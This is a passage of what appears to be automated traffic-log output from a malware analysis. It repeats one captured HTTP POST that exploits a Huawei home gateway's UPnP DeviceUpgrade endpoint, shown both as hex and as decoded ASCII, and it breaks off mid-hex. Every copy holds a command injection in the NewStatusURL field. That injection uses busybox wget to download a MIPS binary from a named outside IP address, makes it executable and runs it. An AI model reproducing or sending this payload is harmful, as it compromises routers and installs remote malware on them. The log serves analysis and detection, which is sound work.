xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 